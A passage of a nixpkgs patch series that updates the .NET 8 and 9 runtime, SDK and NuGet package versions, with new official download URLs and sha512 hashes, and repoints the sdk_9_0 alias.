+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.18/dotnet-runtime-8.0.18-linux-musl-x64.tar.gz";
+        hash = "sha512-qgLhilNFk5IrTwbv0LRHpwFwrXj06jGwiSOSIEPa4bdYAduLBLSdj+JOys9GyFQbsrFGYphgjGRhLpTk0OU2DQ==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.17/dotnet-runtime-8.0.17-osx-arm64.tar.gz";
-        hash = "sha512-n3f8O0/8yixku23sVpGoNDapoQTSnHGBC1+khTUCbuyx+7x4Ae6XgzNhmPDQj8kts01VkyeMpcE2A1Vthnph3A==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.18/dotnet-runtime-8.0.18-osx-arm64.tar.gz";
+        hash = "sha512-6nk+JQO0Ds9W0738Dfwh/ImeGKlBRLu1D/ZLPcHzg5KnvS9X9hFw7POv5zO7oPwkxdDgAFe33y2o8m/X9pYSyQ==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.17/dotnet-runtime-8.0.17-osx-x64.tar.gz";
-        hash = "sha512-+vANPgV66ZcfMKKTfDI39so/qUkDK9q5KasLr8mXtCPBglMUCr3/rRa8tFGdSD+4tdCwP+PmPjRwWHmxqNbsOw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.18/dotnet-runtime-8.0.18-osx-x64.tar.gz";
+        hash = "sha512-ytzK1CKQwAspFPXxRvZ3eUb5Baf+31WMEE7G7GrDHi407ABp/e7cNX9aaRZeoxvsEZPwJNcG6Shmox7ap02e+w==";
       };
     };
   };
 
   sdk_8_0_4xx = buildNetSdk {
-    version = "8.0.411";
+    version = "8.0.412";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.411/dotnet-sdk-8.0.411-linux-arm.tar.gz";
-        hash = "sha512-YAYNmPje2xWxG4/KcJJpqda5RKeHHezCOM9/WIt4wS9zt/aPIb+h18JHq03tXLrUl21quPvlmkrymNU9DAN1lg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.412/dotnet-sdk-8.0.412-linux-arm.tar.gz";
+        hash = "sha512-J1MURAy/OKN5MRz60BETV5fg1mKKAeD5TQiJ9NsNHFzZ90a4R/WlHSrVpdJpz652lFw/BJfZ4VjMiLr51ZTQoQ==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.411/dotnet-sdk-8.0.411-linux-arm64.tar.gz";
-        hash = "sha512-f9cMl+VJ6HPO77Yu2f7zF1l/swCw+VSHhYcZojHm0zNDDHtw4CyBBcG6Z5RG9gVq8ActIsFzaJBtlEkfRwUTbA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.412/dotnet-sdk-8.0.412-linux-arm64.tar.gz";
+        hash = "sha512-BUnSREexHUu0IGyBL10RO/bM45MpmQlNXrwRjdDPldqFrtT7es6UKqaDs5cKPCU+fbneACAnxBiFT4g1SHn81w==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.411/dotnet-sdk-8.0.411-linux-x64.tar.gz";
-        hash = "sha512-5zBMN5jDrTJ4ojz6x+P4c6dg1r/gcZ6q/fapZmr+/48nMOfIT3/1l9NLXibRvMsI7MbiPH70N2VkxO1WjW0kMA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.412/dotnet-sdk-8.0.412-linux-x64.tar.gz";
+        hash = "sha512-SAYuEiIiJIRcs/ki2ZHHjAZKHdBW5LHIkrYG4konwfVBPcQiIc3PQiXcth4+4CXSp3FZAGaHAJEwM1rFFfWTBA==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.411/dotnet-sdk-8.0.411-linux-musl-arm.tar.gz";
-        hash = "sha512-aXxS3PIBEGxRzsx12ahB8SreFuijwvfkKxZxnFcDHFSaTjulBE1q0CAa0RaCDjbiCp2NVX1Dae9SMUc/9RO2jg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.412/dotnet-sdk-8.0.412-linux-musl-arm.tar.gz";
+        hash = "sha512-z79sRZmduJcaJq4n02IJEMpd+2KpdfFrWhCq2FxhGd5tkJNH4W/bKrQ5YwFzeSQMT3wEa+gbt1Gqkk2dJdmJeg==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.411/dotnet-sdk-8.0.411-linux-musl-arm64.tar.gz";
-        hash = "sha512-E1T66KTG65g+A+0AWYng+QjlS7kt6dkV+E13yvXr0T2q7yGRbGs677Pmo2mLSOJbRybV/tOfC1EvUXVH4MluCQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.412/dotnet-sdk-8.0.412-linux-musl-arm64.tar.gz";
+        hash = "sha512-5oOgjDcN4vKWQ/o3Ia2hX2cJeEAuNmJ0G8JW/yjLy2cqNUase6qCUhyny8ol11JzPISQdAqztK4FX746VH1Stg==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.411/dotnet-sdk-8.0.411-linux-musl-x64.tar.gz";
-        hash = "sha512-1GIcGYtrn6uKfz6UItc3fCZxiA2PEE9s1bqwFl8ILR8vCjQdMwW7zn3w/N/2lsBhtOqq0aeoTwjEuMH7hdZQvg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.412/dotnet-sdk-8.0.412-linux-musl-x64.tar.gz";
+        hash = "sha512-w9+70mppmw73bexLYb57MJLdJbJs68ErAgL6YUb9g2dgzBolGilkCRUHvULZZyLN91iLNmJhyn1+qehJs8zfGw==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.411/dotnet-sdk-8.0.411-osx-arm64.tar.gz";
-        hash = "sha512-2ZHAegXD9H7UyFEdTymMyT9fbGClUnF89bm4+OM99tNnal7TP/8JlwAPU31ZdZnR2O6tqPpXdcasPB0uqAVURA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.412/dotnet-sdk-8.0.412-osx-arm64.tar.gz";
+        hash = "sha512-ECe1BpxAO0QczPt/wPglhKpYIgUphhocTyrpHG8wsZ6oSSnedljekvXMuldQT7bisop2A3biAyechPqzVLnxFg==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.411/dotnet-sdk-8.0.411-osx-x64.tar.gz";
-        hash = "sha512-RtcyQBGXqdCNFiveiIMvQlRrGliZ9hSRQAh/V7T2OvcsjbgxrebNkQ/RPJHeYoACkK0SkSbJ/GpsTHdqZb7eCg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.412/dotnet-sdk-8.0.412-osx-x64.tar.gz";
+        hash = "sha512-AFCi6otRDtq2pKQOfkW5NaZRunWkcd4ea9Go8bQ4AqouARVn1L5o10SAe3xXwKVT0IWNFn6gpTKXHRAU5aP8qA==";
       };
     };
     inherit commonPackages hostPackages targetPackages;
@@ -743,39 +743,39 @@ rec {
   };
 
   sdk_8_0_3xx = buildNetSdk {
-    version = "8.0.314";
+    version = "8.0.315";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.314/dotnet-sdk-8.0.314-linux-arm.tar.gz";
-        hash = "sha512-GT2/BYixOzB7fklts1171djdkhpofI3GEbgkHw6mf6ouzfondNg7XttTl7QHtwlCD8KYQd2igeiboE0jqx0y+A==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.315/dotnet-sdk-8.0.315-linux-arm.tar.gz";
+        hash = "sha512-8QeLKXetMCnZHZFhnsJz6qSJYrTFi89/t9CrkdAsnWUeRxHGAY0gJuqlgT5LlDelB2dT4ZcaeDPM0blKKnHO+Q==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.314/dotnet-sdk-8.0.314-linux-arm64.tar.gz";
-        hash = "sha512-qBI3o0okZeTEiukg0QllVn8bAbxkbTR4yVXpjU0Xu03fkfwwP8H4WVaufu0dgGco1/94C7NSAo+ZoCbY2yHg2g==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.315/dotnet-sdk-8.0.315-linux-arm64.tar.gz";
+        hash = "sha512-OW6R8OlLUUWOkZMgi4dzlJ/CmXSk6neyrT1AQxq8eHF2rA2i42H/O0UAgjb1NzIVt3USiw7oNQM+L+4V/RTphQ==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.314/dotnet-sdk-8.0.314-linux-x64.tar.gz";
-        hash = "sha512-r7sNcDkueSwLWLn2TX3W+UV2DHm7OZXTvFmYxtEPOHlOVs5jTVIHRkMBwLDbYKltPfb4O2i2yNZtenbkZrSxIA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.315/dotnet-sdk-8.0.315-linux-x64.tar.gz";
+        hash = "sha512-USH25zHSrn0TNWKTKfo+sIyLLhvW8Q5tSlS4+D9JouQ6tU+k4NCH2VUSzzxtWWUf6mOBmb/dNGhN3IQ3kFE8Tg==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.314/dotnet-sdk-8.0.314-linux-musl-arm.tar.gz";
-        hash = "sha512-Ylw1hRevy8bNArDzkHWOAGw78zjAsLZfMfToixZ/+kKkNKTNpmA6azJ0wRcGJtbX7BYABQArtka9VH+m/ILe4w==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.315/dotnet-sdk-8.0.315-linux-musl-arm.tar.gz";
+        hash = "sha512-SnaDa5guhz0TQytx/BEMn13z7gAcd7D39fhlx2wABs+cRKeu9RryGJh2JtycJQ9BrQiC8/tAYWVipTBDHnZ+jQ==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.314/dotnet-sdk-8.0.314-linux-musl-arm64.tar.gz";
-        hash = "sha512-LP+BBEU7oWaFs9wRtGlA6dsIM4f0nQOUI/wCglN2yY1Ekq/Ea0MKLoY7GVLS7GuW0EIzeBkeTFiSOh0KrBWqXA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.315/dotnet-sdk-8.0.315-linux-musl-arm64.tar.gz";
+        hash = "sha512-NytafoFGcI9BBRR2xXDsSrydWVHVAOg/OP/8aW4lj3Ka15SaeF99q2pX3Y+H2UoYq1+nCjCLhyVPtOnZ/5lVQw==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.314/dotnet-sdk-8.0.314-linux-musl-x64.tar.gz";
-        hash = "sha512-9XMfOVx+QUJ4XtrXS5m7ZEPq7vBpsVbkf0pu+1lK7hPcjD+Cb1UYJuq+0bnB434pzKnOMdFQ/+PioRlzbDHCJA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.315/dotnet-sdk-8.0.315-linux-musl-x64.tar.gz";
+        hash = "sha512-T8gmYdg1WcU9+TRaVaG5TrVD7Xcxyga+jpWWw14Ms+PtGf29i0ohYtNDh9jLAjMezAa5FmsrwzBNNnZk/tBYrA==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.314/dotnet-sdk-8.0.314-osx-arm64.tar.gz";
-        hash = "sha512-iYlBXnvVjE2aTmjMeMxYuSbLjuNHhPV5+t9BkJyadMFMAQCnMGrC/1HcMso5dwT+nEUq8Mpqu3a6L24R/4Rgjg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.315/dotnet-sdk-8.0.315-osx-arm64.tar.gz";
+        hash = "sha512-9T7DnkacO6Cqsh3lzTz0JiFNCiL3zFN3nWlz28H3PtbIAOBgdiS6Y/OvaR7F3NNXH+f2KUYAFAPsXzl6AOqOuQ==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.314/dotnet-sdk-8.0.314-osx-x64.tar.gz";
-        hash = "sha512-iFQLs1cB4jM/QgHCngXz0nziXpnYz8ZHQR4xibH67JppYb786sStaVG+b7lpSJIern4s7yLbqgl/pcYplNt9dA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.315/dotnet-sdk-8.0.315-osx-x64.tar.gz";
+        hash = "sha512-anHc1Ui4pjLK/pWKon2zELU04ALg9vNUpfrkb0JXX6TjFVU0MYVK0VVrZR5ybglSKVE/qSsLgMuErwxH6OXJmA==";
       };
     };
     inherit commonPackages hostPackages targetPackages;
@@ -784,39 +784,39 @@ rec {
   };
 
   sdk_8_0_1xx = buildNetSdk {
-    version = "8.0.117";
+    version = "8.0.118";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.117/dotnet-sdk-8.0.117-linux-arm.tar.gz";
-        hash = "sha512-CgzKANmRmMKHWU7s/z1Kxm8yqhhtuDt4gicZu+pnLIdGA66Du6xnsmUXvb0FkZ6fGJE/wX8cwNUa1H2CHicxvg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.118/dotnet-sdk-8.0.118-linux-arm.tar.gz";
+        hash = "sha512-MNxznkN2vwScF/GKRDE8noX7TOC4JuTIkKpdsDANghswWPOuXPrhfDeBZ473YQQvjI9m+TEbbIdVAQ9juJGntw==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.117/dotnet-sdk-8.0.117-linux-arm64.tar.gz";
-        hash = "sha512-m2XhpXkkDlNweYvR2F8+D/5rj+t7bIgyjbkHBq037jjiBDlHRbd4tZ3UHAZMA6N8B/DeU09/D+AR0TDGJjYUig==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.118/dotnet-sdk-8.0.118-linux-arm64.tar.gz";
+        hash = "sha512-wgnYjvV4QLc2Dnsoylwimz/I/YLT4bDimXMOm4Aav7Slzm9k3GZ9WGbGJEuv4QtKveakv/czvk1M4HkcvexVnA==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.117/dotnet-sdk-8.0.117-linux-x64.tar.gz";
-        hash = "sha512-pnObWHt3axVv/hnSVxGxQSYbe1vs/wDLga7lsvBpT0YAeZxiXrhE1bp0ID3VoSEdw0urYsVJYf5+t6kuGn2/dw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.118/dotnet-sdk-8.0.118-linux-x64.tar.gz";
+        hash = "sha512-2vL4BS3M6u0AWW0fiHsxsZky6m/GRHcAb63X69tWW2zKrawrLDjVe6WNbhVrcq2wlKc1CuodUR53rZZ1SDIaaw==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.117/dotnet-sdk-8.0.117-linux-musl-arm.tar.gz";
-        hash = "sha512-BUD69RdN8N2xb8DlyobhKNDUteSSnfYjpBx2sG8w3UjRENILeFRIBkID404apOcTtlXUKfvNNhf4K2CVxHlANA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.118/dotnet-sdk-8.0.118-linux-musl-arm.tar.gz";
+        hash = "sha512-WGhhR5827n4KU7+RS+t6weMYVfHnJmPR1+//JKw47gXMlU19Tv2B4y/oyz2/AINyXkwQ3lr3ajCmlCQxhKWKIA==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.117/dotnet-sdk-8.0.117-linux-musl-arm64.tar.gz";
-        hash = "sha512-2Rn9gNkGDv4f27BHZU8k3k3DngfQI27My3AfN2R+a1i7QQVXmt2nT5xAkZCK//Wr777DbIG0hYisbRY7IigE6g==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.118/dotnet-sdk-8.0.118-linux-musl-arm64.tar.gz";
+        hash = "sha512-B2IERPKgrg21B431M6ryjmVZWqYoJBo9bScTPzqeDhlVLNr6TW3EpBfCejTZfqpxUv6TCsOsgS7rYpdDAnT4Zg==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.117/dotnet-sdk-8.0.117-linux-musl-x64.tar.gz";
-        hash = "sha512-8BtBJhZ5lcNSYv/ndp0hymsFWzmIL1zMtoU6wvTDBzYlByDzicy42RQywYLkldWbhrPDbR7facGUJkkmUlsmRw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.118/dotnet-sdk-8.0.118-linux-musl-x64.tar.gz";
+        hash = "sha512-6zHGhF86H/XMx7U37cCOtnRRBIUPd+Z1+otVN4A5y7/e3Oy1olcUiJAO2KUTimTj+3MMMFGBbzZqSPmPAKoqMQ==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.117/dotnet-sdk-8.0.117-osx-arm64.tar.gz";
-        hash = "sha512-asjtVua8XA2rnp11nv37jqtpDknaTzJqple7pPBzINi7VAM/xw01AIdrI9tX2FqmgyXXZlNbkqirJKufSC98ag==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.118/dotnet-sdk-8.0.118-osx-arm64.tar.gz";
+        hash = "sha512-9oshklflApdjCbtzeUtn8p3ODmlfQFRL0SgnTWQ1yW8TvHv7MolhnNxSuBy3GWA575xRfGsyKHMqo9SR9cy8tg==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.117/dotnet-sdk-8.0.117-osx-x64.tar.gz";
-        hash = "sha512-sOvJ3YuHX8e5TphubByaLVFhPjKXkWMwUITalCNeGXSmFIhSgdgOKCfhXXd1u4u/AAH3dR/mgZH3EL2rJGXl5g==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.118/dotnet-sdk-8.0.118-osx-x64.tar.gz";
+        hash = "sha512-cXeLlCj2s7Mf2pHlhaIv7aC5VSI77PWQB2d0bpgQIru2MqJrHru9ImaGdFU3aLvbXTJMP1toxwnAYW47jSAVvw==";
       };
     };
     inherit commonPackages hostPackages targetPackages;

From d7b419fa6bda3a8f9d8f33e7f0ff919ef88cf349 Mon Sep 17 00:00:00 2001
From: David McFarland <corngood@gmail.com>
Date: Fri, 11 Jul 2025 10:48:49 +0000
Subject: [PATCH 2308/4511] dotnetCorePackages.sdk_9_0-bin: 9.0.301 -> 9.0.302

(cherry picked from commit afedda5dda221bbc5b828e6f52f3693fdc26ed00)
---
 pkgs/development/compilers/dotnet/default.nix |   3 +-
 .../compilers/dotnet/versions/9.0.nix         | 451 ++++++++----------
 2 files changed, 206 insertions(+), 248 deletions(-)

diff --git a/pkgs/development/compilers/dotnet/default.nix b/pkgs/development/compilers/dotnet/default.nix
index 965dd284736d..44430d04b5d1 100644
--- a/pkgs/development/compilers/dotnet/default.nix
+++ b/pkgs/development/compilers/dotnet/default.nix
@@ -166,10 +166,9 @@ pkgs
   # https://github.com/dotnet/source-build/issues/3667
   sdk_8_0_3xx = combineSdk sdk_8_0_1xx pkgs.sdk_8_0_3xx-bin;
   sdk_8_0_4xx = combineSdk sdk_8_0_1xx pkgs.sdk_8_0_4xx-bin;
-  sdk_9_0_2xx = combineSdk sdk_9_0_1xx pkgs.sdk_9_0_2xx-bin;
   sdk_9_0_3xx = combineSdk sdk_9_0_1xx pkgs.sdk_9_0_3xx-bin;
   sdk_8_0 = sdk_8_0_4xx;
-  sdk_9_0 = sdk_9_0_2xx;
+  sdk_9_0 = sdk_9_0_3xx;
   sdk_10_0 = sdk_10_0_1xx;
   sdk_8_0-source = sdk_8_0_1xx;
   sdk_9_0-source = sdk_9_0_1xx;
diff --git a/pkgs/development/compilers/dotnet/versions/9.0.nix b/pkgs/development/compilers/dotnet/versions/9.0.nix
index 41b17655f9df..9d1f25650577 100644
--- a/pkgs/development/compilers/dotnet/versions/9.0.nix
+++ b/pkgs/development/compilers/dotnet/versions/9.0.nix
@@ -11,28 +11,28 @@ let
   commonPackages = [
     (fetchNupkg {
       pname = "Microsoft.AspNetCore.App.Ref";
-      version = "9.0.6";
-      hash = "sha512-4cbMRgJ07eJMBUi8v3Ps9L+ntztvA9VcCiMvGSIZc7Tj4QZG6yW9PEVrks/X8AfjA1Rj1l8OTJaHykv6oRLZSw==";
+      version = "9.0.7";
+      hash = "sha512-id6IbzqA6pn5TIbYABSCXpPeNwxUGZuMHbMnjeMs+GQIMFFf2Yr5BUy2kigmXoBtgx8RYHDT3PzOrRvcfX908A==";
     })
     (fetchNupkg {
       pname = "Microsoft.NETCore.DotNetAppHost";
-      version = "9.0.6";
-      hash = "sha512-23ET/Y/1NCDNZWVnfMRXwoadsuz+pZrtZG2q1Woj/iZCkvei7zDgUP3OY5HVyHNRyT7y9TH1GA3smeEGRzxVzg==";
+      version = "9.0.7";
+      hash = "sha512-TeNH3NfbaRL2t1vTSwK1nR41if3XBsvxIXl5XDeVBKp9uJ++D9S98KkNEAUAJLyV+6AZGgcDPlDSG5KjiZZ4vg==";
     })
     (fetchNupkg {
       pname = "Microsoft.NETCore.App.Ref";
-      version = "9.0.6";
-      hash = "sha512-EgMOEOOHwep0HuDkKqmUHPU5LyytjYNhKEck/jrk1jEuVOMM85gJ51A6V/D8HbpLMwZu6Xf3mun+X8FTQ8rBQg==";
+      version = "9.0.7";
+      hash = "sha512-spN1zg0NHM482nnpPzXZYJKgxT+A44KLSswXbsTf+bDWdoZpMeBcODz3pNAz2Fg5PIcpR6amQgTy/G0JHoDqrw==";
     })
     (fetchNupkg {
       pname = "Microsoft.DotNet.ILCompiler";
-      version = "9.0.6";
-      hash = "sha512-perSjdz+eXfLbiEiuKTpuwyDK6cY/Bb06nXrC5yyzyRSpOXCSTYReckhj905HsLcGhh/fI/f001oZeKkRapjNQ==";
+      version = "9.0.7";
+      hash = "sha512-SiLChOzRKjrQHquCUytslPdSTgzUV8VHIvT7bertBM7BaidvQDfkl+0O7zrdxEUeN8ppHAsV1ZP+l5tPZiHv8w==";
     })
     (fetchNupkg {
       pname = "Microsoft.NET.ILLink.Tasks";
-      version = "9.0.6";
-      hash = "sha512-Syea/ZRRC5TEoOHYOjTrPY5MutLowj/wNyVmfc+vpsjPKZ3aUONP8QtajyFGV2MiaRe3n0v9zICCahscDd0C7A==";
+      version = "9.0.7";
+      hash = "sha512-Y1X3qXOXHD22H1IAFk8BRFehz48zEkiZr/xdQ0eop3xVFvkiSitzVGhGTsE5cA3JG1/5lItxqJLozjnf1RsNVw==";
     })
   ];
 
@@ -40,118 +40,118 @@ let
     linux-arm = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-arm";
-        version = "9.0.6";
-        hash = "sha512-jZGye2/1bZCKp2pstHa7Ao9WTJvn0nkjW71T9GX1LXlAptkf36QFJhC/3Dty+XqJpsuxRsxU9A6Cjib0g3tCGQ==";
+        version = "9.0.7";
+        hash = "sha512-0hSN5Dz16LRR+ddZh7NjEqOEYsj1Ba07/Ouo9HbUrT6/PJ1XtsK1tdpwoJJgrpKrw+n6JyqpaMKpS4f9oNYNhA==";
       })
     ];
     linux-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-arm64";
-        version = "9.0.6";
-        hash = "sha512-Nk3g8RsNxtG8hC5L4BT+VBuqNKo6RnCirF/9d1RjhhwpleMH9uQsvkyKhVm1wNodFORzQdAP+uUgdiKZ6eu/+w==";
+        version = "9.0.7";
+        hash = "sha512-wuO6tQcWJj1GKWXpPhoFvobx99K0xy0C1Z8ZACvHhRuWoN1CKfPzC5vU2w/9zCCbLR9iDWYrcC0VdrduMJ+BOQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm64.Microsoft.DotNet.ILCompiler";
-        version = "9.0.6";
-        hash = "sha512-p2V2hOy/yqf3sCeoxi09m6WoZ/1B7iSM0NXXgcYqoE1G2bhv2FhAv2z2eg6Ynh0GYU07RfQHLwrxC2+qjg5xTQ==";
+        version = "9.0.7";
+        hash = "sha512-MSJVLRiLk+L3NjJBx5sn8tZVEGCppOapb6Zie8nebplwo1ifRtcIf6BDRVSv8V9wBh3uI38jJOQwhcqLUY2ehw==";
       })
     ];
     linux-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-x64";
-        version = "9.0.6";
-        hash = "sha512-6A2zGQSBQp0K/Anld6WIXIeCEA0KwCgROQLwi81+NUz0MySjOVo06OgxG+svJeH0gGX4O4g4aP0G0mu5I/9sTw==";
+        version = "9.0.7";
+        hash = "sha512-aW8mtPF46qa4i+GrHv8OUiPam/x4xYGOUKt/pUPIFz9j9SMrKXgw0mHK/H+j2qHknN4Ozy6OtcTUxpIdxkmw6g==";
       })
       (fetchNupkg {
         pname = "runtime.linux-x64.Microsoft.DotNet.ILCompiler";
-        version = "9.0.6";
-        hash = "sha512-Ueh2AoWYf1xIq1GlKxGiWPdRWNTky6id6Nqkxz/tqWE1AdMw/aXQwK9eV6KVSy5X1uMtxqs9437d9Cw1wKGb3g==";
+        version = "9.0.7";
+        hash = "sha512-9Ihz6lNAQ9IyiGNSD9fGMKYv+0NQQqAZVpn/GbHpTRIlC4ULGELRcHerEP29D2r1ugtZPyrtR2s8EAmMA42MdQ==";
       })
     ];
     linux-musl-arm = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-arm";
-        version = "9.0.6";
-        hash = "sha512-Y25NMIMRfqz9xftyER4Ip9WTbBxmz418hDRIbnxEs/Rm7YTImMNA1spCXPjkYKNGuthjbMP0ycxcrIIP7LO9qA==";
+        version = "9.0.7";
+        hash = "sha512-L52p4oNNHR31GlGLgxekjOUM8EL0i1g+X/RRBFvaUdgCy9Uo1RCpsWX3aKaY2Ca93H3aa8wQBsMFCk/3HG9vDQ==";
       })
     ];
     linux-musl-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-arm64";
-        version = "9.0.6";
-        hash = "sha512-4lzVKIyc39LowT2BJZve13EsBC3bzbPGXC6h1233QA2ROXEVoEQw0xb8MRMb0J9PHR/RnPs14E1p9soDZ5eD+Q==";
+        version = "9.0.7";
+        hash = "sha512-F8YKtHc6Z9KRAo1roiwNnqYCIC4OmGQmq/u1dwumD5Rt6dhRBnbzSVh7wl6OKRADLiX9MevObQ1EqY+pArvk6Q==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm64.Microsoft.DotNet.ILCompiler";
-        version = "9.0.6";
-        hash = "sha512-ugY7GnQv+2h3a2huCseWo4twDkszWWLJ2QB6Y2pthaERkbqWF/+n6Xr0xLWVWQkI5hhsWZ6S2jOjrho2OAUi+g==";
+        version = "9.0.7";
+        hash = "sha512-svhK1og7b18+H2+pqPDerMtM+nFNI1MjvOFyfZ6Q66ALxDf2v4/TyTvekJqEFTeqAl1dG3tYTChRk5ftd5QSeQ==";
       })
     ];
     linux-musl-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-x64";
-        version = "9.0.6";
-        hash = "sha512-5BbS9hxja2XWQBNM2Wz313NevZUAt35dqThe7sPAGEYTvs33eEt5fCs4xPFxob8M8z0meFjwVrVodzzfXFodFA==";
+        version = "9.0.7";
+        hash = "sha512-99F1DpBPJN1n2CUfgTgI69e1UaEzT16bER1ROa7i04LJbla7Y4PTe81/wNfg8BFBXV8k9LJTErLDFTQcLRNK6g==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-x64.Microsoft.DotNet.ILCompiler";
-        version = "9.0.6";
-        hash = "sha512-YE1DyntUFOnzuyhPn69dxyhuRCAlmYfMWDIGwolrV7mAa3wN2hgdTqK2bfUNdsT9Sw0lqk3W02XATfVolZ5aeg==";
+        version = "9.0.7";
+        hash = "sha512-FstPcH3XP9bH8nuTpq129w8M8Qt1LdJqhBNnPJJe6fgwMTaAsHzfmlcDQiPsuXkDY0nDMMug/TUrB3e7xRQwrA==";
       })
     ];
     osx-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.osx-arm64";
-        version = "9.0.6";
-        hash = "sha512-jL7rg+9zAfnGbJQXtoT+SQZ7U4Xg34As6oQwIG8VuR5wVynFdPUgXp1H3dem1EKG/obE6PgLT4MgJM1mhXNDQg==";
+        version = "9.0.7";
+        hash = "sha512-KPYuoUlT2noytN3CQxLSSorNUq0W/6KH8P41j2lXhTW8+EvH34osmFwOKSTZoCSLgZBLgTUhgGS/7sBwqPJgZw==";
       })
       (fetchNupkg {
         pname = "runtime.osx-arm64.Microsoft.DotNet.ILCompiler";
-        version = "9.0.6";
-        hash = "sha512-saNHscRs66/1FgZ7tQxiSK7E3AqLheC3neSMAC2bvyKigvli2tHK48y8kiuvWoa7oPL8+yTOpN1Xgx7/vcy32Q==";
+        version = "9.0.7";
+        hash = "sha512-hu2Ls1ISDdHRgWoNMDFykHxNGNx5AFf/tSniUEd+Y6filNBm+iwzZlP9Wfb9HQ+N0Dtd4awacc9wxjCibkwiqA==";
       })
     ];
     osx-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.osx-x64";
-        version = "9.0.6";
-        hash = "sha512-S1KSrW7+6q7M2fLLhXXTdrAvfa2E/LJnVuHVWMpGz+9ISiV8XI4iSW7ehrGiQ3pi13y04JkgFs3Qhug2tFONPg==";
+        version = "9.0.7";
